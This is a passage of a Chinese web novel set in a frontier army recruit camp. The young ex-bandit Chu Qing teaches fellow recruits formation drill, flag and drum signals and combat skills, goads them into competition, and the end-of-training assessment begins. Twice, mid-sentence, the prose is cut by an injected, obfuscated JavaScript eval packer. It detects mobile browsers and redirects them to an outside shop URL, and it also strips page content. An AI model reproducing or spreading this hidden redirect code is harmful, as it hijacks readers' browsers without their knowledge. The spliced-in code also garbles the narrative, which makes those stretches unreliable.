伍千裘赞同说,“还真是,在虔来山时不论山洞厢房还是荒地山牢,她都能在其中泰然处之,丝毫不顾及有多少人想取她性命,这样心大,也算她的本事。” 说起虔来山,楚六来了劲儿说,“你们不知道,初暒初入威虎寨时就敢与我这个在山中当了多年土匪的土匪叫嚣,她狂妄蛮横非常,我那时都差些以为她是才从哪个山头出来草寇霸王,后来与她熟悉了才晓得,这家伙就只是一个霸道嚣张、有仇必报的小娃娃而已,她将与自己不对付的人都收拾个服服帖帖,可不是在何处都能过的如鱼得水么。” 帐内几人听他打趣初暒,都纷纷低声笑了起来,初暒也不在意,借机问,“自我与艾川栋打过一架后,其他新兵即使再看不过我们也都收敛许多,我自觉清静不少,怎么你们还是没有适应营中生活吗?” 宋运沮丧说,“我好不容易习惯了每日体能训练,可是近几日又开始操练军阵队列与教授各类战术指令,要学的东西太多,我又太笨,实在是记不住那些东西,莫说适应,我若是能完完整整依照教头指令做对一日,都要谢天谢地了。” 董梁也罕见开口,“小运气所言也是我苦恼之事,要是我们都能如初暒你那般敏锐,一听到军令便能迅速做出反应就好了。” 初暒看帐中众人皆附和董梁看着自己轻轻点头,想了想说,“你们要是不嫌我啰嗦,我倒是可以将我所知和盘托出。” 伍千裘最明白她这话分量,双眸登时一亮,“不嫌不嫌,我等巴不得你多说几句!” 初暒笑笑,也不扭捏,起身走到营帐中央,与众人道,“小运气方才说‘近几日又开始操练军阵队列与教授各类战术指令’,其中‘操练’二字指的是两件事。” “所谓‘操’,是说军阵训练,也是我们近几日一直在练的队形变换,练这个是为了将所有参与战斗的兵士按照一定的组织形式统合起来,便于统治与指挥,以灵活应对战争中各种复杂情况,因此不要小看我们在军中每一次的队列站位,这是培养一支军队组织性、纪律性最基本的方法,只有练好站队列,才能使成百上千乃至成千上万的兵士在有限的战场上行动自如、不至误伤,此训练除了能增加我们之间默契,也能加强每个人反应速度,故而诸位一定清楚自己在每个队列中的具体位置,跟身边人的距离要保持多远,以及当队列运动起来时,自己应该怎么跑、往何处跑。”① “而所谓‘练’是说练武,指每个小兵独自作战的能力,在战场上,你不杀敌,敌就要杀你,你武艺比敌人强,你便能杀了他,你武艺不如敌人,就要被他杀了,因而不好好修习武艺之人,都是与自己的性命有仇②,我每日苦练,并非和自己过不去,只是想立功却又实在怕死而已。” 初暒义正言辞说自己怕死,十分无法让人信服,大家嘿嘿笑了两声才发觉她说了许久自己竟没有片刻神游。 初暒这席话深入浅出又通俗易懂,他们不仅明白了阎教头让士兵们练习这些技艺的原因,也知道了之后该如何在队列中找准自己的位置。 多日困惑在此刻拨云见日,帐中几人疲惫尽褪,兴奋地不能自已。 白冲在外与自己那些州府军同袍闲聊完回帐后,瞧见这帮人聚在一起不知在高兴地谈论什么,他看了一眼已经默默躺回自己床铺的初暒,皱眉低语一句,“真是莫名其妙……” 次日清晨,十里趋跑结束,新兵们仍旧被各自教官带走练习站队列,初暒仍旧在阎龙示意下被一老兵揪出来罚马步站桩。 练兵场上,阎龙一声令下,被分成五个阵营的两千余名新兵立即集结并迅速变换成战斗队形。 经过几日训练,这些新兵在队列中已经不似初次那般手忙脚乱,不知所谓,可要是和能作战的正规军比起来,他们还是差的有些远。 上面给的时间将近,阎龙心中有些焦躁却又不得不静下心来巡视新兵训练成效,以便随时做出指正与调整。 他双手叉腰正在点兵台上观察各营队形变换,双眸忽然被其中一小片步伐齐整、转移迅捷,各方配合默契十足的队列吸引过去。 严整中的混乱引人注目,混乱中的严整同样格外显眼。 那是乙营白冲一什。 阎龙看了一眼像只打了胜仗的公鸡一样昂首挺胸站在队首的白冲,而后歪头望向在站桩上扎马步还不忘抻着脖子紧盯自己同帐同袍所站队列方向的初暒。 前几日他就发现初暒在队列中总是十分自在。 无论阵型疏密,无论他如何下令,这人既能适应各种灵活多变的阵列,也能在各种复杂阵型中敏锐准确的辨明自己应该站立的位置,就好像这世间所有作战阵型她早已记得滚瓜烂熟,练得炉火纯青。 今日看她被罚还这般关切同帐之人训练成效,想来白冲那一帐十人必定经她指点过了。 阎龙没有声张,只远远听着穿插在场上指正新兵战术动作的教头对乙营那片严整队列的高声夸赞。 明明是一群上不得台面的土匪,却非要样样都出风头。 在自己引以为傲的骑射比试中输给初暒的艾川栋听见教头在夸奖那帮贼配军,心里压着火气都快把他的脑门顶开了。 然,被初暒打黑的眼眶还隐隐作痛,艾川栋斟酌片刻还是决定先忍辱负重,反正分兵之后自己此生便会与这伙儿土匪再不相见! 他心里是这么想的,可双脚却在训练中途休息时小步挪到了正聚在一起求教乙营白冲一什的新兵们身后。 有人问,“昨日我看你们还与我等一样变换队列时忙忙碌碌却不知在到底在忙什么,怎么一夜过去竟像突然开了窍似的,队列站的如此严整呢?” 楚六阴阳怪气说,“我们贼配军的法子,说出来恐污了各位军爷的耳儿。” “原先是我们有眼不识泰山,你们也莫见怪,咱如今在一处当兵,合该彼此照应才是,要是真有什么能让那帮黑脸阎罗教头们高看一眼的法子,还请你们不要吝啬,快快传授给大家伙儿才是呀。” 杨田想着出门在外多个朋友总好过多个敌人,老实巴交说,“我们一什今日能得教头夸赞,多亏了我同帐小兄弟初暒点拨,昨夜……” 他将初暒昨夜教导一字不落的全部告诉了营中同袍。 不同于教头们的冷语严令,初暒那番话既简洁告知大家为何那样做,又明了对他们说往后该怎么做,听得各位新兵啧啧称叹、频频点头。 几个做惯了阿谀奉承的小兵一闻讯,转头就做了上司的传话筒。 片刻之后—— 这头儿,新兵们求教解惑热火朝天。 那头儿,教官们满腹疑云长吁短叹。 有教头不解,“她一个新兵,怎么懂得这么多军中操练之法?” “莫非她家中有人当过兵?” “不可能,招安那土匪那日我在场,曾亲耳听见户部官员核验身份时她说自己是孤儿。” “难道此人是敌人潜进中北的奸细!” “呵,新兵营两千余人,人人都知晓她的大名,你见过如此张扬的奸细?” “那就怪了……” 其中一人看向始终不发一言的阎龙,有些忿忿,“阎教头,这初暒自个儿特立独行也就罢了,如今又窜动的新兵们躁动不安,若不严惩,她将来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888169|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不知会给咱们添多大麻烦!” 在站桩上扎马步的初暒已经不像刚开始受罚时那样颤颤巍巍了,她此时目视前方姿势标准,颇有一种哪怕此刻天地动荡,自己也会在站桩上巍然不动的稳重气势。 明眼人都能看出来,阎龙这段时间一直在有意刁难初暒。 他们都以为初暒闭口不言全数接受那些刁难是在忍耐,可阎龙心里明白,她并没有忍耐,反倒乐在其中。 一个兵,以折磨自己为乐趣。 抛开种种偏见,阎龙忽然对初暒生出了几分敬意。 他没有理会手下教头的忿忿之言,只将自己的目光重新投向正聚在一起如火如荼商讨议论的新兵们身上,道,“无论什么麻烦都由我担,交兵之日在即,还请诸位速练新兵,莫负淮指挥佥事所予厚望。” 有人愿意担事,他们求之不得。 众教头相视一眼后纷纷抱拳,应声答是。 自这日之后,以阎龙为首的教头们加快了教授进度亦增强了训练强度,新兵们虽在白日叫苦连天,可夜里一收队各营伍长、什长便不约而同聚在乙营白冲一什帐外偷师。 营地熄灯之前,明月高悬,皎洁月光洒落在大地将晃动在帐外的人影照了个一览无余。 初暒对那些人影视若无睹,她练完自己该练的依旧在帐中尽心竭力为同袍们解释当日训练内容以及需要留意之处。 “战场上人喊马嘶之声不绝于耳,如果只用耳朵去听指挥官吼叫出来的口令,恐怕没有几个人能照令作战,故而为了能够在作战人数超过千人、万人乃至十万百万的军队中‘听’到上官指挥,就须得看懂旗帜之语、听懂金鼓之声,以求能根据旗帜颜色、制式、挥舞方式与金鼓大小、音调、频次等辨明各个级别的指挥信息,只有看明白、听明白了,我们才能够理解各种战术指令,只有理解这些战术指令,我们在战场上活下去的几率才更大一些。” “但诸位切莫以为只有能看见敌人的地方才是战场,须得时刻谨记,只要我们还是中北士兵,目及之处皆是战场,因此,不论身在何处,我们的耳,只听金鼓,眼,只看旗帜,绝不听人口言语便擅起擅动;若旗帜、金鼓不动,哪怕主将说要如何,也不许依从。兵看各营把总,各营把总看阵列中军。如擂鼓该进,就是前面有水有火,只要擂鼓不停,也必要往水里火里去;如鸣金该退,就是前面有金山银山,只要金鸣不止,也必要依令退回,倘若我们千人、万人乃至十万百万人真能共作一个眼,共作一个耳,共作一个心,什么贼杀不了,什么功立不了?”③ 新兵们放着自己的安稳日子不过来当兵,除了痛恨在映月关一战上吃了瘪还敢在中北边境张狂的漠匪,更多人也是惦记着战乱出英雄,想要来立功扬名的。 初暒说到他们心坎,在场之人听完她这话,无一不感到心潮澎湃。 帐外却有一人憋不住,问,“你不过十几岁的小娃娃,又与我们一样是新兵,怎么晓得这么多军中事?” 初暒坐回自己床榻,实话实说,“认得一些字,读过一些兵书,承蒙诸位哥哥不嫌我啰嗦,我这才有机会仗着年纪小,在此处纸上谈兵。” 一声哥哥惹得营帐内外汉子们心生怜惜,大家这才记起初暒年纪尚轻,不过一个小小少年,这些军中事务他不是从书里看来的,难道还真是亲身当过兵才晓得的么。 读过书的,总比他们没读过书的强些。 围在帐外的各伍长、什长听完初暒点拨心满意足的四散回去。 周围清静下来,从始至终都对初暒十分好奇的伍千裘还在思索她那滴水不漏的一番话是真是假时,余光瞧见方才还在帐中侃侃而谈之人已经蜷缩在床铺边睡着了。 看宋运将棉被轻手盖在初暒身上,伍千裘不由问,“小运气,我比她大不了几岁,你比她小不了几岁,可是不知为何我总觉得她不像她这个年纪的人。” 宋运:“少年老成?” 伍千裘觉得不是,摇头,“我也说不上来。” 宋运看着熟睡时还皱着眉头的初暒,想了想说,“你我尚有不能与外人言的秘密,又怎么强求她对我们毫无保留呢,不像这个年纪有什么要紧,我只知道她很好,对所有人都很好,我由衷愿意待在她的身边。” 小运气的话好似突然让伍千裘心底某处执念松动了,他怔愣了好一会儿,才终于笑道,“你说的对,管他什么像不像的,只要她是她就成。” 良久之后,营帐中再无人交谈了。 立在营帐外的最后一道身影悄声离开。 阎龙丢掉手中把玩的干草,有那么一瞬间竟以为自己好像也把肩上的重担丢了,他想笑时,心里又涌出些不甘与羡慕。 人的确生来不同。 可怎么有的人如此年少就开始锋芒毕露。 那光芒晃着他眼,实在让他嫉妒。 121. 揍她! 阎龙说无论有什么麻烦都由他担,众教头们也都无所顾忌,只管将自己该教的、该练的、该骂的一股脑儿的全部倒给了新兵。 新兵有的人就算接不住这些恶言厉色也并不像前段日子那般焦急慌乱,只是一收队回营便齐齐围在了乙营初暒营帐外继续补上‘私学’。 初暒看阎龙对新兵们此举睁一只眼闭一只眼,于是便放开手脚光明正大的在营中以自己的法子练兵。 她每日清晨趋跑时,负担着比旁人沉重的装备以极短的时间跑完十里路程后,又转身抱臂溜达在途中,神清气爽、精神抖擞的看着那掉在队尾累得满头大汗、憔悴不堪的新兵,目光怜惜,不时啧啧。 午后与人角抵时,又不停向被她撂倒在地的同袍们关切说—— “你没事吧,我也没使劲……” “怪我,下手没轻没重的,我下回轻点……” “哎瞧着你怪威武的,怎么连我都打不过呢?” 与初暒接触这段时日,大家都知晓她虽出身土匪本性却不坏,人也大方不藏私,可众人每每看见这厮在训练中仗着自己灵敏力强总是对他们露出怜惜同情神色的同时,落在他们身上的拳脚力度也并无一丝消减,都气的牙痒痒。 被一个浑身没二两肉的小屁孩怜惜同情、踢打的无力还击,哪个身强力壮的热血男儿能不憋屈。 有人气不过想找她单挑,又想起被她按在地上打的艾川栋脸上淤青至今未消,只叹口气大度说,“要不是看她白日里操练那样辛苦,夜里还愿对我们倾囊相授,老子早将她扣了麻袋狠狠揍一顿了。” 这话通过好几张嘴巴传到初暒耳中,楚六以为以她有仇必报的性子定会寻根溯源找着放出大话那人出气教训,却不想初暒就像是没听见众人对她的不满一般,不仅每日该怎么刺激他们还怎么刺激他们,而且近来好似还有变本加厉的趋势。 起因是白冲引以为豪的各项训练首名之位一个接一个被初暒夺去了。 她要只是低调拿了首名也就罢了,可这人偏偏在拿完首名后还当着人家白冲的面儿纳闷问,“你不是总说想军中立了军功步步高升么?啊?就这?” 伍千裘见白冲眼里火气已经涌现,刚想上前拦着点儿,可刚抬起脚就见初暒上下打量了一眼白冲后又浇了把油,说,“若是连你这样的都能立功,那我也能立。” 她寻衅至此,白冲忍无可忍。 在一旁观战许久的艾川栋看准白冲挥拳时机撸起袖子大吼一声,“初暒这小子狂妄自大、目中无人至极,兄弟们是时候给她点儿苦头尝尝了,揍她!” 他这一声,将近段时间被初暒用神情虐待的新兵们怒火勾出,一帮人也不管什么教头军纪龇牙咧嘴的就朝初暒扑去。 与初暒交好的伍千裘、宋运还有杨田与董梁等人见势不对,也冲过去想将初暒捞出来,奈何拥过去的人太多,竟直接把他们也挤进了人群。 聚在远处闲聊的教头们见此处新兵打作一团都吃了一惊,他们正要跑过去拉架,余光却忽然看见有道人影抱着脑袋从那团人堆里钻了出来,等那道人影顺利脱离险境,又若无其事叉腰在打得热火朝天的一群人旁边看热闹时,阎龙眯眼定睛才看清,那小子不正是始作俑者初暒么。 新兵们闹出的动静太大,再当没看见也不合适。 阎龙抽走小兵手上金锣,走进新兵堆后使棒槌用力敲了一下。 “铛!” 一声巨响震得众人不由闭眼耸肩,他们停了手中动作,转身看向声音来源时,一眼就瞧见了站在阎龙身边笑吟吟的初暒。 合着白打了半天。 白冲与艾川栋更气了。 他俩看着初暒,拳头蠢蠢欲动,阎龙这时扫视了一下所有新兵,冷面厉声道,“看来这几日教头们都躲懒了,居然还能让你们剩下这么多力气。” 众新兵眼皮一跳皆生出不祥预感,而下一瞬他们果真听阎教头怒喝,“所有人!五百虎卧撑、五百仰卧挺身、五里蹲姿疾走,做不完不允吃饭!” “是……” 新兵们垂头丧气的应声答是,拖拖拉拉的伏地撑起,举步维艰的蹲着走路,直到他们看见初暒率先做完阎龙规定数量的惩罚,抖着胳膊腿儿颤颤巍巍地回营该吃吃该喝喝该睡睡时才终于如回光返照般咬牙切齿的奋力动作。 受完罚的人连回营都是连滚带爬的,他们没有余力吃饭,也没有心力咒骂初暒,只用意志想着不能就地昏睡,不然铁定会被冻死在外面。 营地熄灯前,阎龙命人将因腿软再爬不动的新兵拖回营帐休息,他路过其中一帐时,不知想到什么突然停步掀帘走了进去。 帐内,所有新兵已经累得连鼾声都打不出来,阎龙径直走向蜷缩在角落宛如一只窝在狼穴酣睡小狼模样的少年铺前低头凝望。 初暒已经熟睡,身体却在察觉身边有人靠近时不自觉颤抖了一下。 睡着了还这般警惕。 阎龙将棉被往她身上提了提,低语,“激不起新兵斗志,便将自己摆出来作为他们的假想敌,你这法子倒是好用。” 就是……对自己太狠了点儿。 初暒不知梦到了什么,眉头紧锁,面上也满是痛苦之色,阎龙见状也不明白自己是怎么想的,下意识抬手隔着棉被像是哄孩子似的在她肩上轻轻拍了两下,这举动也是管用,初暒拧着的眉头很快舒展,她缩了缩身子将脑袋埋进被窝里。 阎龙回过神,收回手无措地甩了两下,而后他像是为了公平,又将初暒这一帐其他几个新兵身上棉被都仔细盖了个严实才转身出去。 教头见他出来,禀报说所有受罚新兵都已经安然回帐,阎龙心不在焉的点了点头,满脑子都在想:我有病吧,拍人家一个小兵作甚? 与此同时,被吵醒埋头在被窝里初暒也想不通:他有病吧,拍我一个小兵作甚? 虽然想不通,但初暒也没多想,翻了个身就又睡下了。 前一日重罚了新兵,次日,阎龙十分善解人意的推迟了半个时辰叫起。 这半个时辰说长不长,说短也不短,刚好能让浑身僵硬酸麻的新兵们清醒后斯哈着从床铺爬起下地,出帐集结。 入营这段时间,每日清晨趋跑已经变成新兵们的习惯。 因而阎龙起跑令一出,新兵们哪怕再不想动弹,各自腿脚也都会不由自主地的向前迈去。 与往常一样,初暒依旧在趋跑时身上套着铁甲、腿上缠着沙囊。 但与往常不一样的是,她虽跑在最前可脚步却异常沉重,人看着也没有精神。 白冲见初暒如此颓丧,以为她是昨日被练狠了今日还没缓过来,竟立即兴奋起来边跑边偏头欣赏着初暒这幅有气无力的模样。 初暒没有理会他的幸灾乐祸,白冲自觉无趣冷哼了一声便加快脚步越过她兀自跑远了。 落在初暒身后的其他新兵也发现她今日没精打采,又瞧见白冲轻而易举就超过了她,双眸一亮后都有些跃跃欲试。 初暒背后像长了眼睛,她勾了勾唇角将一直跟在自己身边小跑的宋运揪到身前,小声叮嘱,“使劲往前跑,等身子跑热了,就不酸疼了。” “好。” 宋运也不多言,应声后就用力摆臂向前冲跑,跟在他们身后的新兵们看到弱不禁风的小运气都能跑过初暒,也纷纷大跨着步子接二连三的从她身边跑过。 他们顾不得身上酸痛,只一心享受着自己将那个狂妄自大、目中无人至极的小子远远甩在身后的愉悦,但初暒并没有让他们愉悦多久,她等最后一个人越过自己后便奋起直追,新兵们看到她追了上来,也不甘放弃费力争取来的短暂的名次,都争先恐后的向终点奔去。 等候在营门外的阎龙远远看见这伙儿新兵面目狰狞的朝自己这里跑来,活像身后有鬼在撵他们似的。 身边有专管计时的教头疑惑,“他们昨日才受过罚,今早连起床都费劲儿,怎么这回趋跑所用时辰比往常还短呢?” 阎龙在疾跑的新兵中寻见那个清瘦少年,语气中的赞赏不假掩饰,“人一旦有了想要追逐的目标,就会不知疲惫,尤其……是当那目标就近在咫尺,亦或是离自己只有一步之遥,鲜少有人能经受住一步之遥的诱惑。” 教头们听懂阎龙话中意思,皆顺着他的目光挑眼望去。 新兵人数众多,其中不乏心思活络之人,这些人察觉到教头们缩短了训练时日,也猜出他们此举或许与不久之后的结训分兵有关。 与入伍前分兵不同,新兵营结训后的分兵考核评估事关每一个新兵的派遣与去向,譬如: 新兵考核评估为优等者,可得晋升,或被派往赫赫有名的军队继续服役,或两者皆得; 新兵考核评估为劣等者,可被黜退,或被派往偏远苦寒之地做驻军苦役,或两者皆得。 来当兵的人,哪个不想入上级眼,以便被赏识后为自己博一个好前程。 而初暒在新兵营中各项训练都排在首位,她的能力不止新兵,众教头亦有目共睹,这也就是说,谁比她强,谁就能在教头眼中将她取而代之。 疾跑的新兵们看着就在自己身前不远只要稍加努力便触手可得的‘首位’,卯足了劲儿要追上她、赶上她,然后超过她。 那日之后,初暒便成了新兵营中的标杆。 她练什么,新兵们就练什么,她怎么练,新兵们就怎么练,大家都将她当做对手,可初暒像是没发觉似的,只是专注练着自己的,夜里再抽空跟他们说一说她以前在‘兵书里读过’的作训技巧与作战战术。 初暒干了新兵教头们该干的活儿,众教头起初还在为自己能正大光明的躲懒得意,但是慢慢地,他们发现新兵们即使没有自己指导也能练得像模像样,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888170|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至比他们手把手教导都要出色许多时,躲在练兵场外翘腿偷懒的教头们得意不出来了。 手底下出了一个比教头还会带新兵的新兵,这让他们这些当教头的往后怎么服众。 “兴民城入伍新兵都是被一个土匪出身的新兵教出来的,此事要是传扬出去,兄弟们以后还怎么有脸做教头!阎龙!初暒染指新兵作训这事是你默许的,眼下分兵考核在即,你须得让她安分点了!” 面对同袍指责,阎龙毫不在意,只道,“初暒军中苦练本就是她作为兵士的分内职责,众新兵以她做榜样为考核做准备有何不对,诸位若是有空担忧自己教头脸面,还不如放下身段与新兵们一同作训,切莫忘了,新兵结训分兵后,我们同他们一样亦是军中普通兵士。” 几个教头相视一眼无法反驳,唯有将自己的怨气闷在鼻腔里,看着在练兵场暂歇的新兵们鄙夷冷哼,“既然都练得这样辛苦,等分兵考核时老子一定好好招呼这帮新兵蛋子!” 青天白日里,坐在练兵场闲聊的新兵们忽然觉得自己脊背发凉。 艾川栋扭头轻拍了董梁一掌,问,“你在我后面呼扇什么?凉飕飕的。” 董梁左右看了看,觉得他莫名其妙,“累都累死了,谁还有力气呼扇。” 楚六笑话他,“哪来的凉飕,老艾头老实交代,你是不是做了什么亏心事!” 艾川栋想了想,点头,“呀还真是,我昨夜洗完脚,不小心将洗脚水泼到你水碗里了,后来看你渴了喝的急就没告诉你……” 楚六知道他在开玩笑,还是挥拳锤了他一下,笑骂,“你他娘的,下回别再往我们营帐跑了,烦人!” 一起受过教头‘惨无人道’的体罚后,新兵们才终于明白什么贼啦兵啦全是扯淡,进了军营没人管你以前是贼是兵,该受罚时就得受罚。 还没同甘,但先共过苦的新兵们坐在一堆看着‘打情骂俏’的两人嘿嘿一笑时,恍惚间想起他俩不久前还互相看不顺眼险些当众打起来,谁也没想到,数日之后的此时他们却能靠坐在一起嬉笑打闹,这人与人之间的感情还真是奇妙。 伍千裘在新兵中年纪稍长,经历过的也多,在虔来山时他又见识过初暒将原豹子山土匪与前来投奔的散户土匪熔在一起炼成利刃的手段,因而最是明白,初见时还针锋相对的新兵们能像今日这般和睦,她有一半功劳。 初暒正单腿屈膝靠在点兵台旁,听着大家的闲话胡侃不发一言,伍千裘见初暒神态晓得她恐怕又在出神。 自入新兵营后,他总能在嬉笑打闹人群之外,看到这样沉默不语,魂不守舍的初暒。 她面容平静,眸中眼底却蕴藏着蛰伏已久的波澜,好像只需一丝随便从什么方向吹来的轻风便能使其起伏动荡、风起云涌。 那是她一直隐藏压抑在深处的力量。 如今这股力量竟强烈到让自己觉察出来了,伍千裘的心口突然开始砰砰作响。 “哎我方才小解回来时路过正聚在一起议事的教头们,你们猜我听到什么了!” “快说快说,莫卖关子!” “我听说分兵考核时教头们会好好照顾咱们这批新兵呢!” “真的吗!这群教头原是面冷心热啊,真是错怪他们了,我还以为他们只会张嘴骂人……” “不是都说分兵考核成绩优异者都会被分往好地方,你们都想去哪儿啊?” 艾川栋不假思索,“当然要去赤霄军了!我敬仰慕将军已久,此番当兵也全是为他,若有幸投入他麾下,此生无憾!” 聚众附和者甚多,可艾川栋只看向闭嘴不言的白冲问,“小白,先前在州府军时你不是也想去赤霄军么,怎么这会儿哑巴了?” 虔来山剿匪后,白冲就对慕峰青失去兴趣,他扯了扯嘴角,干笑一声,“赤霄军中勇武兵士那么多,咱去了什么时候才能出头,要我说还是去能真跟漠匪南蛮对上的地方,跟他们真刀真枪的干,方来得痛快!” 他说的也对,新兵众亦有不少人点头称是。 白冲偏头寻见总瞧不上他的那小子,哎了一声,问,“你想被分到哪儿去?” 众人顺着白冲视线齐刷刷看向坐在他们身后不远的少年。 初暒被这些人灼热目光锁定,也不回看他们,只用自己下巴挑了挑阎龙所立方位,道,“我们分兵去向,阎教头大概早有安排,但在此之前,诸位还是先想想如何顺利通过考核才是。” 杨田说,“教头们不是说这回会好好照顾咱们这批新兵么,考核…应当也不会很难罢。” “分兵考核是部分新兵上战场最后一道坎儿,往年有运气不好的,也会在考核中丢了命……”初暒一一看过盯着自己的众人,极淡然的笑着,却笑得让人汗毛直立—— “大家切勿掉以轻心,可千万别还没见着敌人就先折在这最后一道坎儿上了。” 122. 考核 初暒说分兵考核中不可掉以轻心,不然可能会丢掉性命,但新兵们听完这话只当她是在吓唬他们,一笑而过之后都没有放在心上,毕竟他们才是新兵,哪有新兵还没出新兵营就丢命的。 “再说了,咱们入营不过一个月,怎可能这么快就结训考核了,那日也不知谁胡乱传了一嘴闲话你怎么还当真了。”白冲拧干帕子在脸上抹了一下,看着神色紧张的艾川栋笑道,“不就是骑射输给初暒了么,那小子胡诌的一句,竟让你怕成这样了。” “谁怕她了!无风不起浪,我也觉得近些日子教头们授艺新兵时确实着急了点儿,如若结训考核传言是真,你我早些准备胜算不是大些么。” 白冲不解,问,“要考就考呗,有啥好准备的?” 艾川栋看见他这幅不操心的少爷模样就来气,“你是白知州独子,自幼家中就将你该走的路铺好了,可我不一样,我父母双亲体弱多病为了糊口只能与人做些零工,家里弟妹年纪又小求学问药样样都需银子,我若不能在军中闯出名声、取得功绩拿高军饷,将来如何养活一家老小,此番考核我是一定要拔得头筹的,我当你是兄弟才与你说这些,可要是你无心争功,那今夜我就当没见过你了。” 艾川栋说完就走,白冲连忙将他拽住,又问,“我既然已经从军,自然想要争功,只是不知我们该如何准备呢?” 已是夜间就寝时分,艾川栋左右张望完没在帐外发现有人注意这里,才小声道,“你同帐那个初暒本事似乎不小,若是考核中你我能得她助力,定然可以高枕无忧。” “你想让我求她!不可能……我白冲绝不……” 白冲像是一只被踩了尾巴的野猫,惊得艾川栋连忙将他嘴巴捂住,安抚说,“怎么能说‘求’呢,只是提前结盟,等考核时大家通力合作而已,都是新兵,都没经历过考核,那初暒恐怕也不敢说自己一人就能顺利通过考核吧,到时万一咱也有能帮上她的地方岂不是皆大欢喜。” 说的也有道理,白冲想了想,点头道,“成,我回去问问。” “那就等你们好消息了。”艾川栋交代完,眉开眼笑地拍拍白冲肩膀后回了自己营帐。 白冲在帐外搓着自己后脑勺原地徘徊许久才想好该怎么对初暒开口,但等他转身回去在那个睡得缩成一团的少年身上拍了好几下也没将人叫醒时,不由在心中暗自咒骂了一句:有道理个屁! 伍千裘听见角落响动,从被窝里探出头来,问,“初暒都睡了,这么晚了,你扰她作甚?” 白冲怒气冲冲扑回自己床铺,闷声道—— “我梦游!” 白冲把枕头当做出馊主意的艾川栋用力锤了一拳,而后咬着牙迷迷糊糊去见了周公,可他还没觉得自己与那周老头聊很久,耳边就忽然听见一声金铙相撞炸出的洪亮巨响。 “新兵亟集!穿衣速起!” 与入营后初次夜间亟集不同,阎龙声音在帐外响起那瞬,营地所有营帐中所有新兵就不约而同地从各自床铺上翻身坐起。 他们有条不紊的下床蹬鞋,捞起自己的衣物边穿边往外跑,不消片刻,二千余名新兵便全部聚集在练兵场中。 阎龙满意地扫视过军容整洁、严阵以待的各营新兵,厉声高喝,“诸位入新兵营还有两日便满一月,这期间,诸位皆恪尽职守,勤勉习练,业已掌握新兵应当习之技艺,众教头将诸位表现看在眼里亦甚感欣慰,因而经过商议,宜对诸位开启结训之考,以验成效,此次考核事关每一个新兵的派遣与去向,望诸位认真对待,切莫疏忽大意!” 传言竟然是真,他们这批新兵只□□练一个月就要结训了,新兵们惊讶地小声嘀咕起来,练兵场中的嗡嗡声很快连成一片。 他们各有猜测,阎龙却不多做解释,他挥手招来手下兵士同时高声道,“新兵五营千总听令!收缴新兵所有随身兵刃,各自分发一枚火折,并速整队列,随各带队教头向结训考核之地进发!” 被点到职务的兵士们出列答是,他们收了新兵兵器、挨个儿发了火折子又整合完各自队伍后便带着他们浩浩汤汤出了营地大门。 这批新兵共计两千五百三十六人,被分成了五个阵营,他们刚出新兵营,站在甲营后面的乙营还在好奇教头们这是准备带他们去哪儿时,站在最前面的新兵突然诶了一声,低语,“甲营怎么往那个方向去了?” 一出新兵营,甲营就与乙营分道扬镳。 站在队列靠前位置的乙营新兵们还在纳闷,这时队列最后又有人发现,丙营也没跟在他们身后了。 五个阵营被分别带去了不同的方向。 被分别带去不同方向的五个阵营新兵跟随带队教头行走在没有月亮、不见一丝天光的崎岖道路上,越走越昏暗,越走越心慌。 路不平,楚六因看不见脚下,踩中一块石头后险些歪倒,幸有初暒眼疾手快将他扶住,楚六没睡够本就不悦,这会儿又被吓了一跳,他仗着自己这位置离领队教头甚远,小声抱怨,“都走了许久怎么还没到啊!” “都走了许久了,怎么天还没亮呢?”杨田也奇怪,问众人,“诸位可知现在什么时候了?” 艾川栋不耐烦道,“头顶无月,鬼才晓得!” 今夜确实没有月亮,但天边却隐约能看见些零散星辰。 初暒仰头辨明星辰排列方式后又观察了片刻,才说,“星宿东移,现在大概是丑时。” 楚六闻言惊呼,“才丑时?我们该不会走到天亮才会到那劳什子考核之地吧?” “不会的。”初暒看着前方在暗夜中不断向他们靠近的巍峨高山,“应该就快到了。” 伍千裘点了点头没有多说什么,像是对初暒的话深信不疑,可听见他们说话的白冲不屑道,“又在卖弄,就你懂得多……” 他们几人声音不大,艾川栋探着脑袋看走在最前的教头察觉不到此处声响,才怼了怼白冲胳膊,问,“考核传言不假,你可有与初暒说过合作的事?” 白冲瞥了一眼自己拍不醒,可听见亟集金铙声起的比谁都快的初暒没好气说,“没有。” 艾川栋急了,“你不是答应问她么!” “我是答应了,也当真去问了,可我没本事,喊不醒一个装睡的小子,你要是有能耐就自个问她去,什么鬼合作,老子才不稀得求她。” 白冲脾气上来冷哼一声再不理人,艾川栋不死心,兀自与站在自己身前之人换了位置后,轻声唤了初暒一声。 初暒:“何事?” 艾川栋嘿嘿一笑,将自己窜动白冲合作联盟以求顺利通过考核之类的话悄悄告诉初暒,只是夜里寂静,行军队列中亦无声,即使他的声音再轻,他对初暒说的这番话还是传到了周围不少新兵耳中。 与初暒相处这近一个月里,大家都觉得她有时是欠揍了些,可为人还算不错,大家平常有什么不懂的去问,她也常常倾囊相授,虽说年纪不大,但言行举止都十分稳重可靠,若此次考核她真愿意出手相助,那他们或许也能跟着沾沾她的光。 